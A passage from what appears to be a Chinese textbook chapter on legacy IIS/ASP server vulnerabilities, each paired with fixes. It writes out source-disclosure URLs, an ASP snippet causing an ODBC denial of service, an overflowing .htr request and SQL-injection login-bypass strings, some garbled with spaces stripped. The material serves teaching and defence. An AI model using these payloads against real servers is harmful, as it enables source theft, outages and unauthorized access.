code.asp?source=/directory/file.asp這是個(gè)比較舊的漏洞了,相信現(xiàn)在很少會(huì)出現(xiàn)這種漏洞。下面這命令是比較新的:http://someurl/iissamples/exair/howitworks/code.asp?/lunwen/soushuo.asp=xxx.asp如果asa文件可以被上述方式讀出,數(shù)據(jù)庫(kù)密碼將以明文形式暴露在黑客眼前。因此,對(duì)于IIS自帶的showaspcode的asp程序文件,刪除該文件或者禁止訪問該目錄。9.6.3filesystemobject組件對(duì)安全的影響IIS3、IIS4的ASP的文件操作都可以通過filesystemobject實(shí)現(xiàn),包括文本文件的讀寫目錄操作、文件的拷貝、改名及刪除等,但是這個(gè)強(qiáng)大的功能也留下了非常危險(xiǎn)的“后門”。利用filesystemobjet可以篡改下載FAT分區(qū)上的任何文件。即使是NTFS分區(qū),如果權(quán)限沒有設(shè)定好的話,同樣也能被破壞。遺憾的是很多管理員只知道讓W(xué)eb服務(wù)器運(yùn)行起來,很少對(duì)NTFS進(jìn)行權(quán)限設(shè)置,而NT目錄權(quán)限的默認(rèn)設(shè)置偏偏安全性又低得可怕。因此,密切關(guān)注服務(wù)器的設(shè)置很重要,盡量將Web目錄建在NTFS分區(qū)上,目錄不要設(shè)定Everyone完全控制,即使是管理員組的成員一般也沒什么必要完全控制,只要有讀取、更改權(quán)限就足夠了。也可以把filesystemobject的組件刪除或者改名。9.6.4HTML語句或者Javascript語句對(duì)安全的影響ASP應(yīng)用程序可能面臨的攻擊。過去許多Internet上用CGI寫的留言本或BBS是把客戶輸入的留言賦給一個(gè)變量,然后再把這個(gè)變量插入到顯示留言的HTML文件里,因此客戶輸入的文本如要在HTML文件里顯示就得符合HTML標(biāo)準(zhǔn),而CGI程序里一般都加入了特定的HTML語言。當(dāng)客戶輸入內(nèi)容,插入HTML文件時(shí),即同時(shí)插入到了頭尾HTML語句中。9.6.5IndexServer服務(wù)對(duì)安全的影響在運(yùn)行IIS4或者IIS5的IndexServer,輸入特殊的字符格式可以看到ASP源程序或者其它頁面的程序,甚至已經(jīng)添加了關(guān)于參看源代碼的補(bǔ)丁程序的系統(tǒng),或者沒有.htw文件的系統(tǒng),一樣存在該問題。通過構(gòu)建下面的特殊程序可以參看該程序源代碼:http://someurl/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full這樣只是返回一些html格式的文件代碼,但是當(dāng)添加%20到CiWebHitsFile的參數(shù)后面。由于“null.htw”文件并非真正的系統(tǒng)映射文件,只是一個(gè)儲(chǔ)存在系統(tǒng)內(nèi)存中的虛擬文件。哪怕已經(jīng)從系統(tǒng)中刪除了所有的真實(shí)的.htw文件,但是由于對(duì)null.htw文件的請(qǐng)求默認(rèn)是由webhits.dll來處理。所以,IIS仍會(huì)受到該漏洞的威脅。問題解決或者建議:如果該webhits提供的功能是系統(tǒng)必須的,請(qǐng)下載相應(yīng)的補(bǔ)丁程序。如果沒必要,請(qǐng)用IIS的MMC管理工具簡(jiǎn)單地移除.htw的映象文件。9.6.6IISWebServerDoS

默認(rèn)情況下,IIS容易被拒絕服務(wù)攻擊。如果注冊(cè)表中有一個(gè)叫

“MaxClientRequestBuffer”的鍵未被創(chuàng)建,則針對(duì)NT系統(tǒng)的這種攻擊通常能奏效。

“MaxClientRequestBuffer”這個(gè)鍵用于設(shè)置IIS允許接受的輸入量。如果設(shè)置為256(字節(jié)),則攻擊者通過輸入大量的字符請(qǐng)求,IIS將被限制在256字節(jié)以內(nèi)。而系統(tǒng)的缺省設(shè)置對(duì)此不加限制,因此,利用特殊的程序,就可以很容易地對(duì)IISServer實(shí)行DoS攻擊,導(dǎo)致NT系統(tǒng)的CPU占用率達(dá)到100%。解決方案:運(yùn)行Regedt32.exe程序,在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters增加一個(gè)值:ValueName:

MaxClientRequestBufferDataType:REG_DWORD設(shè)置為十進(jìn)制,具體數(shù)值設(shè)置為想設(shè)定的IIS允許接受的URL最大長(zhǎng)度。CNNS的設(shè)置為256。9.6.7MSODBC數(shù)據(jù)庫(kù)連接溢出導(dǎo)致NT/9x拒絕服務(wù)攻擊MicrosoftODBC數(shù)據(jù)庫(kù)在連接和斷開時(shí)可能存在潛在的溢出問題(MicrosoftACCESS數(shù)據(jù)庫(kù)相關(guān))。如果不取消連接而直接和第二個(gè)數(shù)據(jù)庫(kù)相連接,可能導(dǎo)致服務(wù)停止。影響系統(tǒng):ODBC版本:3.510.3711.0ODBCAccess驅(qū)動(dòng)版本:3.51.1029.00OS版本:

WindowsNT4.0ServicePack5,IIS4.0(i386)MicrosoftOffice97Professional(MSO97.dll:507)漏洞檢測(cè)方法如下:ODBC連接源名稱:

miscdbODBC數(shù)據(jù)庫(kù)型號(hào):

MSAccessODBC假設(shè)路徑:

d:\data\misc.mdbASP代碼如下:<%setconnVB=server.createobject("ADODB.Connection")connVB.open"DRIVER={MicrosoftAccessDriver(*.mdb)};DSN=miscdb“%><html><body>...lotsofhtmlremoved...<!--WeConnecttoDB1--><%setconnGlobal=server.createobject("ADODB.Connection")connGlobal.Open"DSN=miscdb;User=sa"mSQL="arbSQLStatement"setrsGlobal=connGlobal.execute(mSQL)WhilenotrsGlobal.eofResponse.WritersGlobal("resultfrommiscdb")rsGlobal.movenextwendrsGlobal.closesetrsGlobal=nothingconnGlobal.closesetconnGlobal=nothing'NotewedoNOTclosetheconnection%><!--CallthesamedatabasebymeansofDBQdirectfileaccess--><%setconnGlobal=server.createobject("ADODB.Connection")connGlobal.Open"DRIVER={MicrosoftAccessDriver(*.mdb)};DBQ=d:\data\misc.mdb"mSQL="arbSQLStatement"setrsGlobal=connGlobal.execute(mSQL)WhilenotrsGlobal.eofResponse.WritersGlobal("resultfrommiscdb")rsGlobal.movenextwendrsGlobal.closesetrsGlobal=nothingconnGlobal.closesetconnGlobal=nothing'NoteweDOclosetheconnection%>在這種情況下,IIS處理進(jìn)程將會(huì)停頓,CPU使用率由于inetinfo.exe進(jìn)程將達(dá)到100%。只有重新啟動(dòng)計(jì)算機(jī)才能恢復(fù)。

9.6.8IISServer4.0中的“非法HTR請(qǐng)求”缺陷該漏洞導(dǎo)致對(duì)于IIS服務(wù)器的“服務(wù)拒絕攻擊”。在這種情況下,可能導(dǎo)致任何2進(jìn)制代碼在服務(wù)器上運(yùn)行。黑客可以利用這一漏洞對(duì)IIS服務(wù)器進(jìn)行完全的控制。

IIS支持多種需要服務(wù)器端處理的文件類型,譬如:ASP、ASA、IDC、HTR,當(dāng)一個(gè)Web用戶從客戶端請(qǐng)求此類文件時(shí),相應(yīng)的DLL文件將自動(dòng)對(duì)其進(jìn)行處理。然而在ISM.DLL這個(gè)負(fù)責(zé)處理HTR文件的文件中,被發(fā)現(xiàn)存在嚴(yán)重的安全漏洞。(注:HTR文件本身是用來遠(yuǎn)程管理用戶密碼的)該漏洞包含了一個(gè)在ISM.DLL中未經(jīng)驗(yàn)證的緩沖,它可能對(duì)Web服務(wù)器的安全運(yùn)作造成兩方面的威脅。首先,是來自服務(wù)拒絕攻擊的威脅,一個(gè)來自非正常的對(duì).HTR文件請(qǐng)求將導(dǎo)致緩存溢出,從而直接導(dǎo)致IIS崩潰。當(dāng)這種情況發(fā)生時(shí),無須重啟服務(wù)器,但是IISWeb服務(wù)必須重新啟動(dòng)。另外,通過使用一個(gè)精心構(gòu)建過的文件請(qǐng)求將可以利用標(biāo)準(zhǔn)的緩存溢出手段導(dǎo)致2進(jìn)制代碼在服務(wù)器端運(yùn)行,這種情況是很危險(xiǎn)的。該漏洞不包括提供用來管理用戶密碼的功能的.HTR文件。

至少在一個(gè)IIS的擴(kuò)展名中(例如:ASP、IDC及HTR)存在溢出。推測(cè)溢出將在IIS把完整的URL傳遞給DLL去處理擴(kuò)展名時(shí)發(fā)生。如果ISAPIDLL沒有正確的檢查限制范圍從而導(dǎo)致INETINFO.EXE產(chǎn)生一個(gè)溢出,用戶就從可以遠(yuǎn)端執(zhí)行2進(jìn)制代碼。攻擊方法:向IIS發(fā)一個(gè)如下的HTTP請(qǐng)求:“GET/[overflow].htrHTTP/1.0”,IIS將崩潰。這里的[overflow]可以是3K長(zhǎng)的代碼。IIS具有讓NT用戶通過Web目錄/iisadmpwd/更改自己口令的能力。而這個(gè)功能正是由一組.HTR文件和ISAPI的一個(gè)擴(kuò)展DLL——ISM.DLL實(shí)現(xiàn)的。當(dāng)一個(gè)完整的URL傳遞到ISM.DLL時(shí),由于沒有適當(dāng)?shù)拇笮∠拗频臋z查,就會(huì)導(dǎo)致溢出產(chǎn)生,從而使得服務(wù)器崩潰。HTR/ISM.DLLISAPI是IIS4缺省安裝。

解決途徑:

(1)將.HTR擴(kuò)展名從ISAPIDLL的列表中刪除

在NT桌面上,點(diǎn)擊“開始”→“程序”→“WindowsNT4.0OptionPack”→“MicrosoftInternetInformationServer”→“Internet服務(wù)管理器”;雙擊“InternetInformationServer”;鼠標(biāo)右鍵單擊計(jì)算機(jī)名稱并選擇“屬性”;在“主屬性”下拉式菜單中選擇“WWW服務(wù)”并點(diǎn)擊“編輯”按鈕;選擇“主目錄”文件夾,并點(diǎn)擊“配置”按鈕,在“應(yīng)用程序映射”列表框中選中.HTR的相關(guān)映射,選擇“刪除”,并確定。

(2)安裝微軟提供的補(bǔ)丁程序。9.6.9ASP程序密碼驗(yàn)證漏洞很多網(wǎng)站把密碼放到數(shù)據(jù)庫(kù)中,在登陸驗(yàn)證中使用以下sql語句(以asp為例):sql="selectfromuserwhereusername='"&username&"'andpass='"&pass&'"此時(shí),只要根據(jù)sql構(gòu)造一個(gè)特殊的用戶名和密碼,此時(shí),程序?qū)?huì)變成這樣:sql="select*fromusernamewhereusername="&ben'or'1'='1&"andpass="&pass&"

or是一個(gè)邏輯運(yùn)算符,只要其中一個(gè)條件成立,那么等式將會(huì)成立。而在SQL語言中,是以1來代表真的(成立),那么在這行語句中,原語句的“and”驗(yàn)證將不再繼續(xù),因?yàn)?1=1"和"or"令語句返回為真值.。另外也可以構(gòu)造以下的用戶名:

username='aa'orusername<>'aa'pass='aa'orpass<>'aa'相應(yīng)地在瀏覽器端的用戶名框內(nèi)寫入

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論